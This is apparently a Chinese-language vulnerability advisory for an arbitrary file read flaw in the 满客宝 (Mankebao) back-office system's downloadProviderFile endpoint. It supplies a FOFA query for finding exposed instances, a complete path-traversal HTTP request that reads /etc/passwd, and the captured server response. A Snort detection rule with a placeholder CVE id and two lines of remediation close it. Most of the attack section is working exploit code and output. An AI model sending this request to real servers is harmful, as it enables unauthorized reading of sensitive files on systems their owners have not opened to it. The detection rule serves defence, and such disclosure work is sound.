

满客宝后台管理系统 downloadProviderFile 任意文件读取漏洞

满客宝后台管理系统 downloadProviderFile 任意文件读取漏洞，从而导致读取服务器上的敏感文件。

影响版本

满客宝后台管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="满客宝后台管理系统"

POC/EXP:

```
GET /warehouse/api/v1/provider/downloadProviderFile.swagger?
fileName=&ossKey=../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:140.0) Gecko/20100101
Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

Request

< > 数据包扫描 美化 HEX 热加载 构造请求

2413bytes / 79ms 美化 HEX 编码 请输入定位

1 GET /warehouse/api/v1/provider/downloadProviderFile.swagger?fileName=&ossKey=../../../../../../../../../../../../etc/passwd HTTP/1.12 Host : 3 Accept-Encoding: gzip, deflate4 Upgrade-Insecure-Requests: 15 Priority: u=0, i6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.07 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.88 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

1 HTTP/1.1 2002 Server: nginx/1.16.13 Date: Thu, 17 Jul 2025 13:23:41 GMT4 Content-Type: application/doc5 Connection: keep-alive6 X-Application-Context: local_extra_server:prod-private-ext,prod-private7 Content-Disposition: attachment; filename=8 X-Content-Type-Options: nosniff9 X-XSS-Protection: 1; mode=block10 Cache-Control: no-cache, no-store, max-age=0, must-revalidate11 Pragma: no-cache12 Expires: 013 X-Frame-Options: DENY14 Content-Length: 24131516 root:x:0:0:root:/root:/bin/bash17 bin:x:1:1:bin:/bin:/sbin/nologin18 daemon:x:2:2:daemon:/sbin:/sbin/nologin19 adm:x:3:4:adm:/var/adm:/sbin/nologin20 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin21 sync:x:5:0:sync:/sbin:/bin/sync22 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown23 halt:x:7:0:halt:/sbin:/sbin/halt24 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin25 operator:x:11:0:operator:/root:/sbin/nologin26 games:x:12:100:games:/usr/games:/sbin/nologin27 ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin28 nobody:x:99:99:Nobody:./:/sbin/nologin29 systemd-network:x:192:192:systemd Network Management:./:/sbin/nologin30 dbus:x:81:81:system message bus:./:/sbin/nologin31 polkitd:x:999:998:User for polkitd:./:/sbin/nologin

snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Mankebao Warehouse - Path Traversal via downloadProviderFile (CVE-2025-XXXXX)";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/warehouse/api/v1/provider/downloadProviderFile.swagger"; http_uri;
  content:"ossKey="; http_uri;
  pcre:"/ossKey=[^&]*(\\\\.\\.\\.\\.|%2e%2e%2f){3,}/i";
  metadata:service http;
  metadata:affected_product "满客宝后台管理系统";
  metadata:vulnerability_type "Directory Traversal";
  classtype:web-application-attack;
  sid:1000343;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。